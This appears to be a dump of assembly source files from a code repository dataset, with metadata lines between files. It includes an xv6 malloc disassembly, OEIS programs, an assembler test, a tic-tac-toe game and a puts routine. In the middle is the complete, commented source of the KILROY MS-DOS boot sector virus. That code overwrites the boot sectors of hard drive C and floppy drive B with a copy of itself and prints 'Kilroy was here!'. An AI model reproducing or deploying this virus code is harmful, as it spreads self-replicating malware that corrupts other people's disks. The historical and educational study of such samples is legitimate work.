mov (%eax),%eax 4209: 89 45 fc mov %eax,-0x4(%ebp) 420c: 8b 45 f8 mov -0x8(%ebp),%eax 420f: 3b 45 fc cmp -0x4(%ebp),%eax 4212: 76 d4 jbe 41e8 <free+0x19> 4214: 8b 45 fc mov -0x4(%ebp),%eax 4217: 8b 00 mov (%eax),%eax 4219: 39 45 f8 cmp %eax,-0x8(%ebp) 421c: 73 ca jae 41e8 <free+0x19> break; if(bp + bp->s.size == p->s.ptr){ 421e: 8b 45 f8 mov -0x8(%ebp),%eax 4221: 8b 40 04 mov 0x4(%eax),%eax 4224: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 422b: 8b 45 f8 mov -0x8(%ebp),%eax 422e: 01 c2 add %eax,%edx 4230: 8b 45 fc mov -0x4(%ebp),%eax 4233: 8b 00 mov (%eax),%eax 4235: 39 c2 cmp %eax,%edx 4237: 75 24 jne 425d <free+0x8e> bp->s.size += p->s.ptr->s.size; 4239: 8b 45 f8 mov -0x8(%ebp),%eax 423c: 8b 50 04 mov 0x4(%eax),%edx 423f: 8b 45 fc mov -0x4(%ebp),%eax 4242: 8b 00 mov (%eax),%eax 4244: 8b 40 04 mov 0x4(%eax),%eax 4247: 01 c2 add %eax,%edx 4249: 8b 45 f8 mov -0x8(%ebp),%eax 424c: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 424f: 8b 45 fc mov -0x4(%ebp),%eax 4252: 8b 00 mov (%eax),%eax 4254: 8b 10 mov (%eax),%edx 4256: 8b 45 f8 mov -0x8(%ebp),%eax 4259: 89 10 mov %edx,(%eax) 425b: eb 0a jmp 4267 <free+0x98> } else bp->s.ptr = p->s.ptr; 425d: 8b 45 fc mov -0x4(%ebp),%eax 4260: 8b 10 mov (%eax),%edx 4262: 8b 45 f8 mov -0x8(%ebp),%eax 4265: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 4267: 8b 45 fc mov -0x4(%ebp),%eax 426a: 8b 40 04 mov 0x4(%eax),%eax 426d: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 4274: 8b 45 fc mov -0x4(%ebp),%eax 4277: 01 d0 add %edx,%eax 4279: 39 45 f8 cmp %eax,-0x8(%ebp) 427c: 75 20 jne 429e <free+0xcf> p->s.size += bp->s.size; 427e: 8b 45 fc mov -0x4(%ebp),%eax 4281: 8b 50 04 mov 0x4(%eax),%edx 4284: 8b 45 f8 mov -0x8(%ebp),%eax 4287: 8b 40 04 mov 0x4(%eax),%eax 428a: 01 c2 add %eax,%edx 428c: 8b 45 fc mov -0x4(%ebp),%eax 428f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 4292: 8b 45 f8 mov -0x8(%ebp),%eax 4295: 8b 10 mov (%eax),%edx 4297: 8b 45 fc mov -0x4(%ebp),%eax 429a: 89 10 mov %edx,(%eax) 429c: eb 08 jmp 42a6 <free+0xd7> } else p->s.ptr = bp; 429e: 8b 45 fc mov -0x4(%ebp),%eax 42a1: 8b 55 f8 mov -0x8(%ebp),%edx 42a4: 89 10 mov %edx,(%eax) freep = p; 42a6: 8b 45 fc mov -0x4(%ebp),%eax 42a9: a3 68 63 00 00 mov %eax,0x6368 } 42ae: 90 nop 42af: c9 leave 42b0: c3 ret 000042b1 <morecore>: static Header* morecore(uint nu) { 42b1: 55 push %ebp 42b2: 89 e5 mov %esp,%ebp 42b4: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 42b7: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 42be: 77 07 ja 42c7 <morecore+0x16> nu = 4096; 42c0: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 42c7: 8b 45 08 mov 0x8(%ebp),%eax 42ca: c1 e0 03 shl $0x3,%eax 42cd: 83 ec 0c sub $0xc,%esp 42d0: 50 push %eax 42d1: e8 7d fc ff ff call 3f53 <sbrk> 42d6: 83 c4 10 add $0x10,%esp 42d9: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 42dc: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 42e0: 75 07 jne 42e9 <morecore+0x38> return 0; 42e2: b8 00 00 00 00 mov $0x0,%eax 42e7: eb 26 jmp 430f <morecore+0x5e> hp = (Header*)p; 42e9: 8b 45 f4 mov -0xc(%ebp),%eax 42ec: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 42ef: 8b 45 f0 mov -0x10(%ebp),%eax 42f2: 8b 55 08 mov 0x8(%ebp),%edx 42f5: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 42f8: 8b 45 f0 mov -0x10(%ebp),%eax 42fb: 83 c0 08 add $0x8,%eax 42fe: 83 ec 0c sub $0xc,%esp 4301: 50 push %eax 4302: e8 c8 fe ff ff call 41cf <free> 4307: 83 c4 10 add $0x10,%esp return freep; 430a: a1 68 63 00 00 mov 0x6368,%eax } 430f: c9 leave 4310: c3 ret 00004311 <malloc>: void* malloc(uint nbytes) { 4311: 55 push %ebp 4312: 89 e5 mov %esp,%ebp 4314: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 4317: 8b 45 08 mov 0x8(%ebp),%eax 431a: 83 c0 07 add $0x7,%eax 431d: c1 e8 03 shr $0x3,%eax 4320: 83 c0 01 add $0x1,%eax 4323: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 4326: a1 68 63 00 00 mov 0x6368,%eax 432b: 89 45 f0 mov %eax,-0x10(%ebp) 432e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 4332: 75 23 jne 4357 <malloc+0x46> base.s.ptr = freep = prevp = &base; 4334: c7 45 f0 60 63 00 00 movl $0x6360,-0x10(%ebp) 433b: 8b 45 f0 mov -0x10(%ebp),%eax 433e: a3 68 63 00 00 mov %eax,0x6368 4343: a1 68 63 00 00 mov 0x6368,%eax 4348: a3 60 63 00 00 mov %eax,0x6360 base.s.size = 0; 434d: c7 05 64 63 00 00 00 movl $0x0,0x6364 4354: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 4357: 8b 45 f0 mov -0x10(%ebp),%eax 435a: 8b 00 mov (%eax),%eax 435c: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 435f: 8b 45 f4 mov -0xc(%ebp),%eax 4362: 8b 40 04 mov 0x4(%eax),%eax 4365: 39 45 ec cmp %eax,-0x14(%ebp) 4368: 77 4d ja 43b7 <malloc+0xa6> if(p->s.size == nunits) 436a: 8b 45 f4 mov -0xc(%ebp),%eax 436d: 8b 40 04 mov 0x4(%eax),%eax 4370: 39 45 ec cmp %eax,-0x14(%ebp) 4373: 75 0c jne 4381 <malloc+0x70> prevp->s.ptr = p->s.ptr; 4375: 8b 45 f4 mov -0xc(%ebp),%eax 4378: 8b 10 mov (%eax),%edx 437a: 8b 45 f0 mov -0x10(%ebp),%eax 437d: 89 10 mov %edx,(%eax) 437f: eb 26 jmp 43a7 <malloc+0x96> else { p->s.size -= nunits; 4381: 8b 45 f4 mov -0xc(%ebp),%eax 4384: 8b 40 04 mov 0x4(%eax),%eax 4387: 2b 45 ec sub -0x14(%ebp),%eax 438a: 89 c2 mov %eax,%edx 438c: 8b 45 f4 mov -0xc(%ebp),%eax 438f: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 4392: 8b 45 f4 mov -0xc(%ebp),%eax 4395: 8b 40 04 mov 0x4(%eax),%eax 4398: c1 e0 03 shl $0x3,%eax 439b: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 439e: 8b 45 f4 mov -0xc(%ebp),%eax 43a1: 8b 55 ec mov -0x14(%ebp),%edx 43a4: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 43a7: 8b 45 f0 mov -0x10(%ebp),%eax 43aa: a3 68 63 00 00 mov %eax,0x6368 return (void*)(p + 1); 43af: 8b 45 f4 mov -0xc(%ebp),%eax 43b2: 83 c0 08 add $0x8,%eax 43b5: eb 3b jmp 43f2 <malloc+0xe1> } if(p == freep) 43b7: a1 68 63 00 00 mov 0x6368,%eax 43bc: 39 45 f4 cmp %eax,-0xc(%ebp) 43bf: 75 1e jne 43df <malloc+0xce> if((p = morecore(nunits)) == 0) 43c1: 83 ec 0c sub $0xc,%esp 43c4: ff 75 ec pushl -0x14(%ebp) 43c7: e8 e5 fe ff ff call 42b1 <morecore> 43cc: 83 c4 10 add $0x10,%esp 43cf: 89 45 f4 mov %eax,-0xc(%ebp) 43d2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 43d6: 75 07 jne 43df <malloc+0xce> return 0; 43d8: b8 00 00 00 00 mov $0x0,%eax 43dd: eb 13 jmp 43f2 <malloc+0xe1> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 43df: 8b 45 f4 mov -0xc(%ebp),%eax 43e2: 89 45 f0 mov %eax,-0x10(%ebp) 43e5: 8b 45 f4 mov -0xc(%ebp),%eax 43e8: 8b 00 mov (%eax),%eax 43ea: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 43ed: e9 6d ff ff ff jmp 435f <malloc+0x4e> } } 43f2: c9 leave 43f3: c3 ret
40.930189
240
0.436375
8f1c682bd0d696a03a910daa95e886b6a0f9dfb7
17,499
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.kilroy.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.kilroy.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.kilroy.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
;The KILROY one-sector boot sector virus will both boot up either MS-DOS or ;PC-DOS and it will infect other disks. ;This segment is where the first operating system file (IBMBIO.COM or IO.SYS) ;will be loaded and executed from. We don't know (or care) what is there, but ;we do need the address to jump to defined in a separate segment so we can ;execute a far jump to it. DOS_LOAD SEGMENT AT 0070H ASSUME CS:DOS_LOAD ORG 0 LOAD: DB 0 ;Start of the first operating system program DOS_LOAD ENDS MAIN SEGMENT BYTE ASSUME CS:MAIN,DS:MAIN,SS:NOTHING ;This jump instruction is just here so we can compile this program as a COM ;file. It is never actually executed, and never becomes a part of the boot ;sector. Only the 512 bytes after the address 7C00 in this file become part of ;the boot sector. ORG 100H START: jmp BOOTSEC ;The following two definitions are BIOS RAM bytes which contain information ;about the number and type of disk drives in the computer. These are needed by ;the virus to decide on where to look to find drives to infect. They are not ;normally needed by an ordinary boot sector. ORG 0410H SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to get number of ;disk drives on this system (eg 01 = 2 drives) ORG 0475H HD_COUNT: DB ? ;Number of hard drives in the system ;This area is reserved for loading the boot sector from the disk which is going ;to be infected, as well as the first sector of the root directory, when ;checking for the existence of system files and loading the first system file. ORG 0500H DISK_BUF: DW ? ;Start of the buffer ORG 06FEH NEW_ID: DW ? ;Location of AA55H in boot sector loaded at DISK_BUF ;Here is the start of the boot sector code. This is the chunk we will take out ;of the compiled COM file and put it in the first sector on a 360K floppy disk. ;Note that this MUST be loaded onto a 360K floppy to work, because the ;parameters in the data area that follow are set up to work only with a 360K ;disk! ORG 7C00H BOOTSEC: JMP BOOT ;Jump to start of boot sector code ORG 7C03H ;This is needed because the jump will get coded as 2 bytes DOS_ID: DB 'KILROY ' ;Name of this boot sector (8 bytes) SEC_SIZE: DW 200H ;Size of a sector, in bytes SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster FAT_START: DW 1 ;Starting sector for the first File Allocation Table (FAT) FAT_COUNT: DB 2 ;Number of FATs on this disk ROOT_ENTRIES: DW 70H ;Number of root directory entries SEC_COUNT: DW 2D0H ;Total number of sectors on this disk DISK_ID: DB 0FDH ;Disk type code (This is 360KB) SECS_PER_FAT: DW 2 ;Number of sectors per FAT SECS_PER_TRK: DW 9 ;Sectors per track for this drive HEADS: DW 2 ;Number of heads (sides) on this drive HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk DSKBASETBL: DB 0 ;Specify byte 1: step rate time, head unload time DB 0 ;Specify byte 2: Head load time, DMA mode DB 0 ;Wait time until motor turned off, in clock ticks DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024) DB 12H ;Last sector number (we make it large enough to handle 1.2/1.44 MB floppies) DB 0 ;Gap length between sectors for r/w operations, in bytes DB 0 ;Data transfer length when sector length not specified DB 0 ;Gap length between sectors for format operations, in bytes DB 0 ;Value stored in newly formatted sectors DB 1 ;Head settle time, in milliseconds (we set it small to speed operations) DB 0 ;Motor startup time, in 1/8 seconds HEAD: DB 0 ;Current head to read from (scratch area used by boot sector) ;Here is the start of the boot sector code BOOT: CLI ;interrupts off XOR AX,AX ;prepare to set up segments MOV ES,AX ;set ES=0 MOV SS,AX ;start stack at 0000:7C00 MOV SP,OFFSET BOOTSEC MOV BX,1EH*4 ;get address of disk LDS SI,SS:[BX] ;param table in ds:si PUSH DS PUSH SI ;save that address PUSH SS PUSH BX ;and its address MOV DI,OFFSET DSKBASETBL ;and update default MOV CX,11 ;values to the table stored here CLD ;direction flag cleared DFLT1: LODSB CMP BYTE PTR ES:[DI],0 ;anything non-zero JNZ SHORT DFLT2 ;is not a default, so don't save it STOSB ;else put default value in place JMP SHORT DFLT3 ;and go on to next DFLT2: INC DI DFLT3: LOOP DFLT1 ;and loop until cx=0 MOV AL,AH ;set ax=0 MOV DS,AX ;set ds=0 so we can set disk tbl MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here) MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done STI ;now turn interrupts on INT 13H ;and reset disk drive system ERROR1: JC ERROR1 ;if an error, hang the machine ;Attempt to self reproduce. If this boot sector is located on drive A, it will ;attempt to relocate to drive C. If successful, it will stop, otherwise it will ;attempt to relocate to drive B. If this boot sector is located on drive C, it ;will attempt to relocate to drive B. SPREAD: CALL DISP_MSG ;Display the "Kilroy was here!" message MOV BX,OFFSET DISK_BUF ;read other boot sectors into this buffer CMP BYTE PTR [DRIVE],80H JZ SPREAD2 ;if it's C, go try to spread to B MOV DX,180H ;if it's A, try to spread to C first, try Head 1 CMP BYTE PTR [HD_COUNT],0 ;see if there is a hard drive JZ SPREAD2 ;none - try floppy B MOV CX,1 ;read Track 0, Sector 1 MOV AX,201H INT 13H JC SPREAD2 ;on error, go try drive B CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is a boot sector JNZ SPREAD2 CALL MOVE_DATA MOV DX,180H ;and go write the new sector MOV CX,1 MOV AX,301H INT 13H JC SPREAD2 ;if an error writing to C:, try infecting B: JMP SHORT LOOK_SYS ;if no error, go look for system files SPREAD2: MOV AL,BYTE PTR [SYSTEM_INFO] ;first see if there is a B drive AND AL,0C0H ROL AL,1 ;put bits 6 & 7 into bits 0 & 1 ROL AL,1 INC AL ;add one, so now AL=# of drives CMP AL,2 JC LOOK_SYS ;no B drive, just quit MOV DX,1 ;read drive B MOV AX,201H ;read one sector MOV CX,1 ;read Track 0, Sector 1 INT 13H JC LOOK_SYS ;if an error here, just exit CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is a boot sector JNZ LOOK_SYS ;no, don't attempt reproduction CALL MOVE_DATA ;yes, move this boot sector in place MOV DX,1 MOV AX,301H ;and write this boot sector to drive B MOV CX,1 INT 13H ;Here we look at the first file on the disk to see if it is the first MS-DOS or ;PC-DOS system file, IO.SYS or IBMBIO.COM, respectively. LOOK_SYS: MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk XOR AH,AH MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors ADD AX,WORD PTR [FAT_START] ;add starting fat sector PUSH AX MOV WORD PTR [DOS_ID],AX ;root dir, save it MOV AX,20H ;dir entry size MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax MOV BX,WORD PTR [SEC_SIZE] ;sector size ADD AX,BX ;add one sector DEC AX ;decrement by 1 DIV BX ;ax=# sectors in root dir ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data MOV BX,OFFSET DISK_BUF ;set up disk read buffer at 0000:0500 POP AX CALL CONVERT ;and go convert sequential sector number to bios data MOV AL,1 ;prepare for a disk read for 1 sector CALL READ_DISK ;go read it MOV DI,BX ;compare first file on disk with MOV CX,11 ;required file name MOV SI,OFFSET SYSFILE_1 ;of first system file for PC DOS REPZ CMPSB JZ SYSTEM_THERE ;ok, found it, go load it MOV DI,BX ;compare first file with MOV CX,11 ;required file name MOV SI,OFFSET SYSFILE_2 ;of first system file for MS DOS REPZ CMPSB ERROR2: JNZ ERROR2 ;not the same - an error, so hang the machine ;Ok, system file is there, so load it SYSTEM_THERE: MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size of IBMBIO.COM/IO.SYS XOR DX,DX DIV WORD PTR [SEC_SIZE] ;and divide by sector size INC AL ;ax=number of sectors to read MOV BP,AX ;store that number in BP MOV AX,WORD PTR [DOS_ID] ;get sector number of start of data PUSH AX MOV BX,700H ;set disk read buffer to 0000:0700 RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read CALL CONVERT ;convert to bios Trk/Cyl/Sec info MOV AL,1 ;read one sector CALL READ_DISK ;go read the disk SUB BP,1 ;subtract 1 from number of sectors to read JZ DO_BOOT ;and quit if we're done ADD WORD PTR [DOS_ID],1 ;add sectors read to sector to read ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address JMP RD_BOOT1 ;then go for another ;Ok, the first system file has been read in, now transfer control to it DO_BOOT: MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch MOV DL,BYTE PTR [DRIVE] ;Drive number in dl POP BX ; JMP FAR PTR LOAD ;use the nicer far jump if compiling with MASM or TASM MOV AX,0070H ;A86 is too stupid to handle that, PUSH AX ;so let's fool it with a far return XOR AX,AX PUSH AX RETF ;Convert sequential sector number in ax to BIOS Track, Head, Sector information. ;Save track number in DX, sector number in CH, CONVERT: XOR DX,DX DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track INC DL ;dl=sector number to start read on, al=track/head count MOV CH,DL ;save it here XOR DX,DX DIV WORD PTR [HEADS] ;divide ax by head count MOV BYTE PTR [HEAD],DL ;dl=head number, save it MOV DX,AX ;ax=track number, save it in dx RET ;Read the disk for the number of sectors in al, into the buffer es:bx, using ;the track number in DX, the head number at HEAD, and the sector ;number at CH. READ_DISK: MOV AH,2 ;read disk command MOV CL,6 ;shift possible upper 2 bits of track number to SHL DH,CL ;the high bits in dh OR DH,CH ;and put sector number in the low 6 bits MOV CX,DX XCHG CH,CL ;ch (0-5) = sector, cl, ch (6-7) = track MOV DL,BYTE PTR [DRIVE] ;get drive number from here MOV DH,BYTE PTR [HEAD] ;and head number from here INT 13H ;go read the disk ERROR3: JC ERROR3 ;hang in case of an error RET ;Move data that doesn't change from this boot sector to the one read in at ;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and ;the data area at the beginning of the boot sector. MOVE_DATA: MOV SI,OFFSET DSKBASETBL ;Move all of the boot sector code after the data area MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET BOOTSEC) MOV CX,OFFSET DRIVE - OFFSET DSKBASETBL REP MOVSB MOV SI,OFFSET BOOTSEC ;Move the initial jump and the sector ID MOV DI,OFFSET DISK_BUF MOV CX,11 REP MOVSB RET ;Display the null terminated string at MESSAGE. DISP_MSG: MOV SI,OFFSET MESSAGE ;set offset of message up DM1: MOV AH,0EH ;Execute BIOS INT 10H, Fctn 0EH (Display Char) LODSB ;get character to display OR AL,AL JZ DM2 ;repeat until 0 INT 10H ;display it JMP SHORT DM1 ;and get another DM2: RET SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file SYSFILE_2: DB 'IO SYS' ;MS DOS System file MESSAGE: DB 'Kilroy was here!',0DH,0AH,0AH,0 ORG 7DFDH DRIVE: DB 0 ;Disk drive (A or C) for this sector BOOT_ID: DW 0AA55H ;Boot sector ID word MAIN ENDS END START 
55.552381
124
0.453569
7129b3ff9c5c3756cf39c819af9dbdb12f50b25b
577
asm
Assembly
oeis/342/A342635.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/342/A342635.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/342/A342635.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A342635: a(0) = 0, a(1) = 1; a(2*n) = a(n), a(2*n+1) = 5*a(n) + a(n+1). ; Submitted by Christian Krause ; 0,1,1,6,1,11,6,31,1,16,11,61,6,61,31,156,1,21,16,91,11,116,61,311,6,91,61,336,31,311,156,781,1,26,21,121,16,171,91,466,11,171,116,641,61,616,311,1561,6,121,91,516,61,641,336,1711,31,466,311,1711,156,1561,781,3906,1,31,26,151,21,226,121,621,16,251,171,946,91,921,466,2341,11,226,171,971,116,1221,641,3266,61,921,616,3391,311,3116,1561,7811,6,151,121,696 mov $1,1 lpb $0 lpb $0 dif $0,2 add $1,$2 lpe div $0,2 add $2,$1 mul $2,5 lpe mov $0,$2 div $0,5
33.941176
354
0.62565
592da9f4933cdcb1263297231d6b2001e63bbe37
806
asm
Assembly
oeis/141/A141874.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/141/A141874.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/141/A141874.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A141874: Primes congruent to 9 mod 19. ; Submitted by Jon Maiga ; 47,199,313,389,503,541,617,769,883,997,1187,1301,1453,1567,1871,2099,2137,2213,2251,2441,2593,2707,2897,3011,3049,3163,3391,3467,3581,3733,3847,3923,4493,4721,4759,4987,5101,5443,5519,5557,5861,6089,6203,6317,6469,6659,7001,7039,7229,7457,7723,7951,8179,8293,8369,8521,8597,8863,9091,9281,9319,9433,9547,9623,9661,9851,10079,10193,10459,10687,11257,11447,11789,11827,11903,11941,12473,12511,12739,12853,12967,13043,13309,13499,13537,13613,13841,13879,14107,14221,14411,14449,14563,14639,14753,14867 mov $2,$0 add $2,6 pow $2,2 mov $4,8 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,38 lpe mov $0,$4 add $0,1
36.636364
500
0.725806
152f4666daf8c10e1b083390efcf80f2958dcccf
58
asm
Assembly
pkgs/tools/yasm/src/modules/arch/x86/tests/addrop-err.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
pkgs/tools/yasm/src/modules/arch/x86/tests/addrop-err.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
pkgs/tools/yasm/src/modules/arch/x86/tests/addrop-err.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
[BITS 32] a16 idiv byte [dword 0] ; 67 F6 3D 00 00 00 00
19.333333
47
0.637931
c40dd0451bbf0c26fff115422512cb0585fc0cf3
2,643
asm
Assembly
tictactoe.asm
FinnishArmy/ASM-Tic-Tac-Toe
6273677c32a7cb235fb05eaceb9bd446ead1d2e9
[ "Unlicense" ]
null
null
null
tictactoe.asm
FinnishArmy/ASM-Tic-Tac-Toe
6273677c32a7cb235fb05eaceb9bd446ead1d2e9
[ "Unlicense" ]
null
null
null
tictactoe.asm
FinnishArmy/ASM-Tic-Tac-Toe
6273677c32a7cb235fb05eaceb9bd446ead1d2e9
[ "Unlicense" ]
null
null
null
#Tic-Tac-Toe #Ronny Valtonen .data grid: .word '_' '_' '_' '_' '_' '_' '_' '_' '_' prompt: .asciiz "\nAre you 'X' or 'O':" input: .asciiz "\nEnter a number from 1-9 starting from the top left:" player2: .asciiz "\nO has won." player1: .asciiz "\nX has won." playAgain: .asciiz "\nNew game? (Y/n)" #Begin program .text start: #Player 1 Prompt la $a0, prompt li $v0, 4 syscall #Check for entry li $v0, 12 syscall #Set player 1 move move $s0, $v0 #Set player 2 entry beq $s0, 'X', setPlayer2 li $s1, 'X' setPlayer2: li $s1, 'O' la $s2, grid #Print the board move $a0, $s2 jal gridDisplay #Loop until win repeat: #Player 1 Moves move $a0, $s2 move $a1, $s0 jal placeMark move $a0, $s2 jal gridDisplay move $a0, $s2 move $a1, $s0 jal checkWinner beq $v0, 0, next li $v0, 4 la $a0, player1 syscall j nextGame next: #Player 2 Moves move $a0, $s2 move $a1, $s1 jal placeMark move $a0, $s2 jal gridDisplay move $a0, $s2 move $a1, $s1 jal checkWinner beq $v0, 0, repeat li $v0, 4 la $a0, player2 syscall j nextGame nextGame: la $a0, playAgain li $v0, 4 syscall li $v0, 12 syscall beq $v0, 'Y', start #End of Tic-Tac-Toe end: li $v0, 10 syscall #Board Printing gridDisplay: li $t0, 1 move $t1, $a0 li $t3, 3 li $a0, 10 li $v0, 11 syscall dispLoop: bgt $t0, 9, retDisp lw $a0, ($t1) li $v0, 11 syscall div $t0, $t3 mfhi $t2 beqz $t2, nextLine #Space li $a0, 32 li $v0, 11 syscall addi $t0, $t0, 1 addi $t1, $t1, 4 j dispLoop nextLine: li $a0, 10 li $v0, 11 syscall addi $t0, $t0, 1 addi $t1, $t1, 4 j dispLoop retDisp: jr $ra placeMark: move $t0, $a0 la $a0, input li $v0, 4 syscall li $v0, 5 syscall addi $v0, $v0, -1 mul $v0, $v0, 4 add $t0, $t0, $v0 lw $t1, ($t0) beq $t1, '_', change jr $ra change: sw $a1, ($t0) jr $ra checkWinner: move $t0, $a0 li $t1, 1 li $v0, 1 loop: bgt $t1, 9, ret lw $t2, ($t0) beq $t2, $a1, nextCol2 addi $t0, $t0, 4 lw $t2, ($t0) addi $t1, $t1, 1 beq $t2, $a1, nextCol2 addi $t0, $t0, 4 lw $t2, ($t0) addi $t1, $t1, 1 beq $t2, $a1, nextCol3 li $v0, 0 j ret nextCol2: addi $t0, $t0, 4 lw $t2, ($t0) addi $t1, $t1, 1 beq $t2, $a1, nextCol3 addi $t0, $t0, 8 lw $t2, ($t0) addi $t1, $t1, 1 beq $t2, $a1, nextRow addi $t0, $t0, 8 lw $t2, ($t0) addi $t1, $t1, 1 beq $t2, $a1, nextDiag nextCol3: addi $t0, $t0, 4 lw $t2, ($t0) addi $t1, $t1, 1 beq $t2, $a1, ret j loop nextRow: addi $t0, $t0, 12 lw $t2, ($t0) addi $t1, $t1, 1 beq $t2, $a1, ret j loop nextDiag: addi $t0, $t0, 16 lw $t1, ($t0) addi $t1, $t1, 1 beq $t2, $a1, ret j loop ret: jr $ra
13.348485
70
0.583806
520fdcd58cfd9e534eb82328ad71ec604a80de13
1,166
asm
Assembly
lab03/03-entry-fix/c-extra-nolibc/puts.asm
adinasm/iocla-demos
a4109ed9fd3a34b097299f941617a6380267c003
[ "MIT" ]
null
null
null
lab03/03-entry-fix/c-extra-nolibc/puts.asm
adinasm/iocla-demos
a4109ed9fd3a34b097299f941617a6380267c003
[ "MIT" ]
null
null
null
lab03/03-entry-fix/c-extra-nolibc/puts.asm
adinasm/iocla-demos
a4109ed9fd3a34b097299f941617a6380267c003
[ "MIT" ]
null
null
null
section .text global puts ; /usr/include/x86_64-linux-gnu/asm/unistd_32.h __NR_write equ 4 ; Argument is message to be printed to standard output. puts: push ebp mov ebp, esp ; Call __NR_write(1, message, message_len) (system call). ; ; Use x86 Linux system call convention. ; https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux#Making_a_system_call ; ; eax stores the system call id. ; ebx stores the first system call argument: 1 (standard output). ; ecx stores the second system call argument: message. ; edc stores the third system call argument: message length. ; Store the write system call id in eax. mov eax, __NR_write ; Store standard output file descriptor (1) in ebx. mov ebx, 1 ; Store function argument (message) in ecx. mov ecx, [ebp+8] ; Compute message length in edx. ; Find NUL byte address of message using edi. Start from message address (ecx). ; Then edx <- edi - ecx. mov edi, ecx dec edi again: inc edi cmp byte [edi], 0 jne again mov edx, edi sub edx, ecx ; Do system call. int 0x80 leave ret
23.32
92
0.665523
ee543c073b5673f1b0827e7081d91a01c6a57d22
398
asm
Assembly
programs/oeis/296/A296028.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/296/A296028.asm
karttu/loda
